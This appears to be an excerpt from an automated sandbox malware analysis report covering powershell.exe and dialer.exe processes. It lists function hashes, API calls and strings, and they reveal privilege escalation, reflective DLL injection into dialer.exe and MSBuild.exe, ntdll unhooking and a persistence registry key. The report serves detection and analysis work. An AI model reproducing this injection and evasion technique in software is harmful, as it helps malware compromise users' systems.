Function 00007FFB4AE616AE Relevance: .5, Instructions: 514COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1907262915.00007FFB4AE60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AE60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffb4ae60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d1bc40c71676d6f985090dcc97a04d15073d7375f5b83a57215e27f38f0f807
Instruction ID: c1c3501779fd724e81e16024f09408a98eea8a434f80019b8b1735df144944dd
Opcode Fuzzy Hash: 7d1bc40c71676d6f985090dcc97a04d15073d7375f5b83a57215e27f38f0f807
Instruction Fuzzy Hash: 7CE103A294EBC60FE357BE3CC8651B57FE5FF42610B6805FED099C7193D909A8068392

Function 00007FFB4AE61834 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1907262915.00007FFB4AE60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AE60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffb4ae60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20fe88915a133599cc5096c1b8483e03536d9ac03340dc31ffcc181fc7fc2497
Instruction ID: 3b303967e3aa6496632bf67653ef4fc64eea91d4ed6434b0e3a2da28bf3d309d
Opcode Fuzzy Hash: 20fe88915a133599cc5096c1b8483e03536d9ac03340dc31ffcc181fc7fc2497
Instruction Fuzzy Hash: 0C21C2A2A5FB8A4FE3A6BE3CC951174A6C6FF80B51BBC04F9D45CC3192DC1AAC054241

Function 00007FFB4AD937B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1906505526.00007FFB4AD90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AD90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffb4ad90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction ID: a5a19b85e83354a6d78a226a35342c92befcb8627a3b354713b004ca9612af00
Opcode Fuzzy Hash: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction Fuzzy Hash: A701A77010CB0C8FD744EF0CE051AA6B3E0FB85320F10056DE58AC3661DA32E882CB41

Analysis Process: powershell.exePID: 7156, Parent PID: 5328COMMON

Executed Functions

Function 00007FFB4AE66605 Relevance: .4, Instructions: 444COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1609253616.00007FFB4AE60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AE60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffb4ae60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae99e6a1ffc08cfe815763f6b0206d619bd32fe02209e82518a5eff936ab28f5
Instruction ID: dceaebca53e4882c1303d373dc03d57875cd1d5eaf5a66aea6b35a7aa196201a
Opcode Fuzzy Hash: ae99e6a1ffc08cfe815763f6b0206d619bd32fe02209e82518a5eff936ab28f5
Instruction Fuzzy Hash: F3D166A291EB898FE7AABF7CC8550B57B95FF06710F6804FAD44CC7083DA18A805C391

Function 00007FFB4AD99748 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1608852919.00007FFB4AD90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AD90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffb4ad90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a00184db5d4b31508642d902f02cb6f97797900f75977085bb2e9da862a68f19
Instruction ID: 7f89eded57ad1b31e975d172e24acdf9c5a9ae777395720cc106645ffb6a39de
Opcode Fuzzy Hash: a00184db5d4b31508642d902f02cb6f97797900f75977085bb2e9da862a68f19
Instruction Fuzzy Hash: 35412971A1CF8C4FDB49AF6C9C4A6A87BF4FB55311F04416FE48983292DA20A855CBC3

Function 00007FFB4AC7ED40 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1608450990.00007FFB4AC7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AC7D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffb4ac7d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c17991a0cc514c8addbc12763bd8793336bcec829a8ccb5100ce4469c52de4f4
Instruction ID: 5a1659900a7093f7a494e57846413696d099380800e39bf23e673a7ca859350e
Opcode Fuzzy Hash: c17991a0cc514c8addbc12763bd8793336bcec829a8ccb5100ce4469c52de4f4
Instruction Fuzzy Hash: F641017140DBC08FE796DF389C419523FF4EB62220B1902DFD088CB5A3D629A846C7A2

Function 00007FFB4AD9B748 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1608852919.00007FFB4AD90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AD90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffb4ad90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7879e9b40b700d041eef7a349db6a7d1393c3606b07995bcaed02333ac6c792
Instruction ID: a802c5d9d10c5de9ef9a184d306ab9ef52f0dfdfb6e9ac88f39e4da5df713cd2
Opcode Fuzzy Hash: e7879e9b40b700d041eef7a349db6a7d1393c3606b07995bcaed02333ac6c792
Instruction Fuzzy Hash: 4E21F53190CB4C8FDB58EFACD84A7E97BE4EBA5321F04816FD449C3152D6709416CB91

Function 00007FFB4AD933B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1608852919.00007FFB4AD90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AD90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffb4ad90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction ID: 2b143e5ab507eb3f1f3548a30d91cbc174cd29ca454cb2608341cf85fedbcd8c
Opcode Fuzzy Hash: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction Fuzzy Hash: CF01A77010CB0C8FD744EF0CE051AA5B3E0FB85320F10056DE58AC3661DA32E882CB41

Function 00007FFB4AD99CF8 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1608852919.00007FFB4AD90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AD90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffb4ad90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d613719cff010579d1e699afb745607c39bca8f20f22e799ede56c9e60283e1
Instruction ID: 458461a2e019cda4c058657985cef454bff4074a4789a4e18dde770a1b929823
Opcode Fuzzy Hash: 2d613719cff010579d1e699afb745607c39bca8f20f22e799ede56c9e60283e1
Instruction Fuzzy Hash: 15F0B47180C68D4FEB4AEF3888995D5BFA0FF16311B1402DBE45CC70B2DB65A558CB92

Function 00007FFB4AE6414D Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1609253616.00007FFB4AE60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AE60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffb4ae60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9165932dea482c0df10e51bc1e307e0f0952ce35ae62cc764295a6c2dd35cc31
Instruction ID: 7716c43a3f80c194951655e0c4508be210b0590e017e913bd3955a8f906c0d51
Opcode Fuzzy Hash: 9165932dea482c0df10e51bc1e307e0f0952ce35ae62cc764295a6c2dd35cc31
Instruction Fuzzy Hash: E5F09A72A8C5088FD75AFF6CE5418A873E4FF5932072100FAE16DC7163CA26EC818790

Function 00007FFB4AE64400 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1609253616.00007FFB4AE60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AE60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffb4ae60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c89b90c6fa6022f9b52160fa9e6318da8c91991f71c6b409e5d45f38600279a9
Instruction ID: 8008bac1d78fc5499fe886bcf5086b1a0fc5050940934fe7ee12f53f32e41319
Opcode Fuzzy Hash: c89b90c6fa6022f9b52160fa9e6318da8c91991f71c6b409e5d45f38600279a9
Instruction Fuzzy Hash: B1F0BE72A4C5448FD756FF2CE0428A8B7E4FF0972076100F6E15EC7063CA26AC81C750

Function 00007FFB4AE641D1 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1609253616.00007FFB4AE60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AE60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffb4ae60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05dd94a12dc45e8f7da9c60e7e1a12ab84c0b153eba5a8a472aa7bc71ce4f1d8
Instruction ID: ea4191d6da80a047165f4a26392e7d903f28cdd2aca94eec90cb11aff5912f1a
Opcode Fuzzy Hash: 05dd94a12dc45e8f7da9c60e7e1a12ab84c0b153eba5a8a472aa7bc71ce4f1d8
Instruction Fuzzy Hash: AFE01A31B8C8088FDA68EE0CE2409E973E5FB9833176105F7D15EC7562CA22EC518B80

Non-executed Functions

Function 00007FFB4AE630E9 Relevance: .7, Instructions: 676COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1609253616.00007FFB4AE60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AE60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffb4ae60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1240e3a6d0e543337dad550aa2d09ca8928ad7a683551b218cb7a416dd0b84e
Instruction ID: ab11e9faea1740f4c13bb0fe9e0236bf755410850e1689e5bd8b42b049820233
Opcode Fuzzy Hash: f1240e3a6d0e543337dad550aa2d09ca8928ad7a683551b218cb7a416dd0b84e
Instruction Fuzzy Hash: 6F1214A294DBC60FE396BE3CC8551B07FE1EF96620B6905FBC499C7193D9189C0B8391

Function 00007FFB4AD984E3 Relevance: 6.4, Strings: 5, Instructions: 108COMMON

Download Yara Rule

Strings

L_^, xrefs: 00007FFB4AD98572
L_^, xrefs: 00007FFB4AD98562
L_^, xrefs: 00007FFB4AD98522
L_^, xrefs: 00007FFB4AD985C2
L_^, xrefs: 00007FFB4AD98502

Memory Dump Source

Source File: 00000003.00000002.1608852919.00007FFB4AD90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AD90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffb4ad90000_powershell.jbxd

Similarity

API ID:
String ID: L_^$L_^$L_^$L_^$L_^
API String ID: 0-2264858084
Opcode ID: 5de3a2064f29ebfc76f02c80885127d76d1ff8014e5133b4ea2792f7f0cf57d6
Instruction ID: eced134524d75477041df0879f7ce047b1959bcd3e0902361f05606a0f2f12fa
Opcode Fuzzy Hash: 5de3a2064f29ebfc76f02c80885127d76d1ff8014e5133b4ea2792f7f0cf57d6
Instruction Fuzzy Hash: 013195D3E1DAC20BF3435F3949A5098BFA9EF9762835E02F6C1D44F093EA09680B8741

Analysis Process: dialer.exePID: 4620, Parent PID: 708COMMON

Execution Graph

Execution Coverage:	47.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	40.3%
Total number of Nodes:	226
Total number of Limit Nodes:	23

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 000000014000226C Relevance: 61.4, APIs: 27, Strings: 8, Instructions: 165
registrymemorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140001F2C: StrCpyW.SHLWAPI ref: 0000000140001F5D
Part of subcall function 0000000140001F2C: StrCatW.SHLWAPI ref: 0000000140001F6B
Part of subcall function 0000000140001F2C: GetModuleHandleW.KERNEL32 ref: 0000000140001F74
Part of subcall function 0000000140001F2C: GetCurrentProcess.KERNEL32 ref: 0000000140001F94
Part of subcall function 0000000140001F2C: K32GetModuleInformation.KERNEL32 ref: 0000000140001FA8
Part of subcall function 0000000140001F2C: CreateFileW.KERNELBASE ref: 0000000140001FD8
Part of subcall function 0000000140001F2C: CreateFileMappingW.KERNELBASE ref: 0000000140002002
Part of subcall function 0000000140001F2C: MapViewOfFile.KERNELBASE ref: 0000000140002025
Part of subcall function 0000000140001F2C: lstrcmpiA.KERNEL32 ref: 000000014000207B
Part of subcall function 0000000140001F2C: CloseHandle.KERNELBASE ref: 00000001400020E7
Part of subcall function 0000000140001F2C: CloseHandle.KERNEL32 ref: 00000001400020F0
Part of subcall function 0000000140001F2C: FreeLibrary.KERNEL32 ref: 00000001400020F9

Part of subcall function 0000000140001F2C: VirtualProtect.KERNELBASE ref: 00000001400020AE
Part of subcall function 0000000140001F2C: VirtualProtect.KERNELBASE ref: 00000001400020DE

GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000228F
OpenProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000229F
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 00000001400022B9
LookupPrivilegeValueW.ADVAPI32 ref: 00000001400022D0
AdjustTokenPrivileges.KERNELBASE ref: 0000000140002308
GetLastError.KERNEL32 ref: 0000000140002312
CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000231B
FindResourceExA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000232F
SizeofResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002346
LoadResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000235F
LockResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002371
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000237E
RegCreateKeyExW.KERNELBASE ref: 00000001400023BE
ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 00000001400023E5
RegSetKeySecurity.KERNELBASE ref: 00000001400023FE
LocalFree.KERNEL32 ref: 0000000140002408
RegCreateKeyExW.KERNELBASE ref: 000000014000243E
GetCurrentProcessId.KERNEL32 ref: 0000000140002448
RegSetValueExW.KERNELBASE ref: 000000014000246F
RegCloseKey.KERNELBASE ref: 0000000140002479
RegCloseKey.ADVAPI32 ref: 0000000140002483
CreateThread.KERNELBASE ref: 00000001400024A4
GetProcessHeap.KERNEL32 ref: 00000001400024AA
HeapAlloc.KERNEL32 ref: 00000001400024B9
CreateThread.KERNELBASE ref: 00000001400024E8
CreateThread.KERNELBASE ref: 0000000140002509
SleepEx.KERNELBASE ref: 0000000140002511

Strings

D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA), xrefs: 00000001400023DE
kernel32.dll, xrefs: 0000000140002283
DLL, xrefs: 0000000140002321
pid, xrefs: 000000014000241B
ntdll.dll, xrefs: 0000000140002277
SeDebugPrivilege, xrefs: 00000001400022C9
SOFTWARE\dialerconfig, xrefs: 0000000140002399
svc64, xrefs: 0000000140002452

Memory Dump Source

Source File: 0000001C.00000002.3030294425.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000001C.00000002.3029886746.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000001C.00000002.3030819862.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000001C.00000002.3031251085.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_140000000_dialer.jbxd

Similarity

API ID: CreateProcess$Close$CurrentHandleResource$FileSecurityThread$DescriptorFreeHeapModuleOpenProtectTokenValueVirtual$AdjustAllocConvertErrorFindInformationLastLibraryLoadLocalLockLookupMappingPrivilegePrivilegesSizeofSleepStringViewlstrcmpi
String ID: D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA)$DLL$SOFTWARE\dialerconfig$SeDebugPrivilege$kernel32.dll$ntdll.dll$pid$svc64
API String ID: 4177739653-1130149537
Opcode ID: d90b24f95a95c841a2e029a5b4d6274d008a65fb61feaf57b7d2a555975f1ca1
Instruction ID: c2e61514e361dd61edc66d1a85693de1d2c237bf329a5b31df93bef4cff25afe
Opcode Fuzzy Hash: d90b24f95a95c841a2e029a5b4d6274d008a65fb61feaf57b7d2a555975f1ca1
Instruction Fuzzy Hash: B781E4B6200B4196EB26CF62F8547D977A9F78CBD8F44512AEB4A43A78DF38C148C740

Function 00000001400010C0 Relevance: 51.0, APIs: 25, Strings: 4, Instructions: 257
memorystringnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000001400018AC: OpenProcess.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018CA
Part of subcall function 00000001400018AC: IsWow64Process.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018E0
Part of subcall function 00000001400018AC: CloseHandle.KERNELBASE(?,?,?,000000014000110E), ref: 00000001400018FB

OpenProcess.KERNEL32 ref: 000000014000112C
OpenProcess.KERNEL32 ref: 000000014000114B
K32GetModuleFileNameExW.KERNEL32 ref: 0000000140001170
PathFindFileNameW.SHLWAPI ref: 000000014000117E
lstrlenW.KERNEL32 ref: 000000014000118A
StrCpyW.SHLWAPI ref: 00000001400011A1
CloseHandle.KERNEL32 ref: 00000001400011AD
StrCmpIW.SHLWAPI ref: 00000001400011E2
NtQueryInformationProcess.NTDLL ref: 0000000140001216
OpenProcessToken.ADVAPI32 ref: 0000000140001240
GetTokenInformation.KERNELBASE ref: 000000014000126C
GetLastError.KERNEL32 ref: 0000000140001276
LocalAlloc.KERNEL32 ref: 0000000140001289
GetTokenInformation.KERNELBASE ref: 00000001400012B5
GetSidSubAuthorityCount.ADVAPI32 ref: 00000001400012C2
GetSidSubAuthority.ADVAPI32 ref: 00000001400012D1
LocalFree.KERNEL32 ref: 00000001400012E9
CloseHandle.KERNEL32 ref: 00000001400012FD
StrStrA.SHLWAPI ref: 00000001400013A7
VirtualAllocEx.KERNELBASE ref: 000000014000140E
WriteProcessMemory.KERNELBASE ref: 0000000140001431
WaitForSingleObject.KERNEL32 ref: 000000014000147D
GetExitCodeThread.KERNEL32 ref: 0000000140001493
CloseHandle.KERNELBASE ref: 00000001400014AB
CloseHandle.KERNEL32 ref: 00000001400014B4

Strings

@, xrefs: 0000000140001401
ReflectiveDllMain, xrefs: 000000014000139D
MSBuild.exe, xrefs: 00000001400011B8
dialer.exe, xrefs: 00000001400011CC

Memory Dump Source

Source File: 0000001C.00000002.3030294425.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000001C.00000002.3029886746.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000001C.00000002.3030819862.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000001C.00000002.3031251085.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_140000000_dialer.jbxd

Similarity

API ID: Process$CloseHandle$Open$InformationToken$AllocAuthorityFileLocalName$CodeCountErrorExitFindFreeLastMemoryModuleObjectPathQuerySingleThreadVirtualWaitWow64Writelstrlen
String ID: @$MSBuild.exe$ReflectiveDllMain$dialer.exe
API String ID: 2561231171-3753927220
Opcode ID: 0577da8a6dab89cee6e9ad54b472e69925a8a9fa9a84297e512ce95199d2773e
Instruction ID: 2175fd9260984ecd3e092ef955109d5d50fbfcc0bf213717558b1eb8b1c9701c
Opcode Fuzzy Hash: 0577da8a6dab89cee6e9ad54b472e69925a8a9fa9a84297e512ce95199d2773e
Instruction Fuzzy Hash: 40B138B260468186EB26DF27F8947E927A9FB8CBC4F404125AF4A477B4EF38C645C740

Function 00000001400014D8 Relevance: 19.6, APIs: 13, Instructions: 130
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000000014000150B
HeapAlloc.KERNEL32 ref: 000000014000151E
GetProcessHeap.KERNEL32 ref: 000000014000152C
HeapAlloc.KERNEL32 ref: 000000014000153D
K32EnumProcesses.KERNEL32 ref: 0000000140001557
OpenProcess.KERNEL32 ref: 0000000140001585
K32EnumProcessModules.KERNEL32 ref: 00000001400015AA
ReadProcessMemory.KERNELBASE ref: 00000001400015E1
CloseHandle.KERNELBASE ref: 000000014000161D
GetProcessHeap.KERNEL32 ref: 000000014000162F
RtlFreeHeap.NTDLL ref: 000000014000163D
GetProcessHeap.KERNEL32 ref: 0000000140001643
RtlFreeHeap.NTDLL ref: 0000000140001651

Memory Dump Source

Source File: 0000001C.00000002.3030294425.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000001C.00000002.3029886746.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000001C.00000002.3030819862.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000001C.00000002.3031251085.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_140000000_dialer.jbxd

Similarity

API ID: Heap$Process$AllocEnumFree$CloseHandleMemoryModulesOpenProcessesRead
String ID:
API String ID: 4084875642-0
Opcode ID: 3ba232721d1513b5cedada72c6e24bd118260bd52d62463099d565cdd5ea385d
Instruction ID: 4858e5a3d965c592fcd1f5951e26bd94c88d4916acf90710a0b336d1aa1e032e
Opcode Fuzzy Hash: 3ba232721d1513b5cedada72c6e24bd118260bd52d62463099d565cdd5ea385d
Instruction Fuzzy Hash: E6519DB2711A819AEB66CF63E8587EA22A5F78DBC4F444025EF4947764DF38C545C700

Function 0000000140001B54 Relevance: 9.1, APIs: 6, Instructions: 82
memorypipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

AllocateAndInitializeSid.ADVAPI32 ref: 0000000140001BA3
SetEntriesInAclW.ADVAPI32 ref: 0000000140001BEB
LocalAlloc.KERNEL32 ref: 0000000140001BFB
InitializeSecurityDescriptor.ADVAPI32 ref: 0000000140001C0F
SetSecurityDescriptorDacl.ADVAPI32 ref: 0000000140001C26
CreateNamedPipeW.KERNELBASE ref: 0000000140001C67

Memory Dump Source

Source File: 0000001C.00000002.3030294425.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000001C.00000002.3029886746.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000001C.00000002.3030819862.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000001C.00000002.3031251085.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_140000000_dialer.jbxd

Similarity

API ID: DescriptorInitializeSecurity$AllocAllocateCreateDaclEntriesLocalNamedPipe
String ID:
API String ID: 3197395349-0
Opcode ID: 488be1c38cf594ed0d3f6a94cbc7f0150440055c9cb1e58666deddfd8d25be8b
Instruction ID: 21eaad2a8fcaa81d39f01622d1c01d05a8059e075f91819b3ade9b41c51f013a
Opcode Fuzzy Hash: 488be1c38cf594ed0d3f6a94cbc7f0150440055c9cb1e58666deddfd8d25be8b
Instruction Fuzzy Hash: FA318D72215691CAE761CF25F490BDE77A5F748B98F40521AFB4947FA8EB78C208CB40

Function 00000001400017EC Relevance: 9.1, APIs: 6, Instructions: 55
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(?,00000000,?,000000014000238B,?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140001801
HeapAlloc.KERNEL32(?,00000000,?,000000014000238B,?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140001812

Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 000000014000150B
Part of subcall function 00000001400014D8: HeapAlloc.KERNEL32 ref: 000000014000151E
Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 000000014000152C
Part of subcall function 00000001400014D8: HeapAlloc.KERNEL32 ref: 000000014000153D
Part of subcall function 00000001400014D8: K32EnumProcesses.KERNEL32 ref: 0000000140001557
Part of subcall function 00000001400014D8: OpenProcess.KERNEL32 ref: 0000000140001585
Part of subcall function 00000001400014D8: K32EnumProcessModules.KERNEL32 ref: 00000001400015AA
Part of subcall function 00000001400014D8: ReadProcessMemory.KERNELBASE ref: 00000001400015E1
Part of subcall function 00000001400014D8: CloseHandle.KERNELBASE ref: 000000014000161D
Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 000000014000162F
Part of subcall function 00000001400014D8: RtlFreeHeap.NTDLL ref: 000000014000163D
Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 0000000140001643
Part of subcall function 00000001400014D8: RtlFreeHeap.NTDLL ref: 0000000140001651

OpenProcess.KERNEL32 ref: 0000000140001859
TerminateProcess.KERNEL32 ref: 000000014000186C
CloseHandle.KERNEL32 ref: 0000000140001875
GetProcessHeap.KERNEL32 ref: 0000000140001885

Memory Dump Source

Source File: 0000001C.00000002.3030294425.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000001C.00000002.3029886746.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000001C.00000002.3030819862.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000001C.00000002.3031251085.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_140000000_dialer.jbxd

Similarity

API ID: HeapProcess$Alloc$CloseEnumFreeHandleOpen$MemoryModulesProcessesReadTerminate
String ID:
API String ID: 1323846700-0
Opcode ID: 292de27f87d02887c134cd68883e15ba7f6a186f84d3e8f804eb1f1d2b0452f5
Instruction ID: e8e8f15008253283e0d5a10c8ea57e573901c1344bffe788f1ea91b5e390c365
Opcode Fuzzy Hash: 292de27f87d02887c134cd68883e15ba7f6a186f84d3e8f804eb1f1d2b0452f5
Instruction Fuzzy Hash: C8115BB1B05A4186FB1ADF27F8443D966A6ABCDBC4F188038EF09037B5DE38C5868700

Function 0000000140001F2C Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 124
filememorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCpyW.SHLWAPI ref: 0000000140001F5D
StrCatW.SHLWAPI ref: 0000000140001F6B
GetModuleHandleW.KERNEL32 ref: 0000000140001F74
GetCurrentProcess.KERNEL32 ref: 0000000140001F94
K32GetModuleInformation.KERNEL32 ref: 0000000140001FA8
CreateFileW.KERNELBASE ref: 0000000140001FD8
CreateFileMappingW.KERNELBASE ref: 0000000140002002
MapViewOfFile.KERNELBASE ref: 0000000140002025
lstrcmpiA.KERNEL32 ref: 000000014000207B
VirtualProtect.KERNELBASE ref: 00000001400020AE
VirtualProtect.KERNELBASE ref: 00000001400020DE
CloseHandle.KERNELBASE ref: 00000001400020E7
CloseHandle.KERNEL32 ref: 00000001400020F0
FreeLibrary.KERNEL32 ref: 00000001400020F9

Strings

C:\Windows\System32\, xrefs: 0000000140001F4F
.text, xrefs: 0000000140002074

Memory Dump Source

Source File: 0000001C.00000002.3030294425.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000001C.00000002.3029886746.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000001C.00000002.3030819862.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000001C.00000002.3031251085.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_140000000_dialer.jbxd

Similarity

API ID: FileHandle$CloseCreateModuleProtectVirtual$CurrentFreeInformationLibraryMappingProcessViewlstrcmpi
String ID: .text$C:\Windows\System32\
API String ID: 2721474350-832442975
Opcode ID: ea51ffa9aeaeb0e2cf226d8574d2fabd87300f6e212f2c78447215b36c46b769
Instruction ID: 0b364bd3c89a37fdd3fa7b369e4888cbeb1e5b170dc00cf86e963973e9165d3d
Opcode Fuzzy Hash: ea51ffa9aeaeb0e2cf226d8574d2fabd87300f6e212f2c78447215b36c46b769
Instruction Fuzzy Hash: CC518BB2204B8096EB62CF16F8587DAB3A5F78CBD4F444525AF4A03B68DF38C549C700

Function 0000000140002BF8 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 40
sleepfilepipeCOMMON

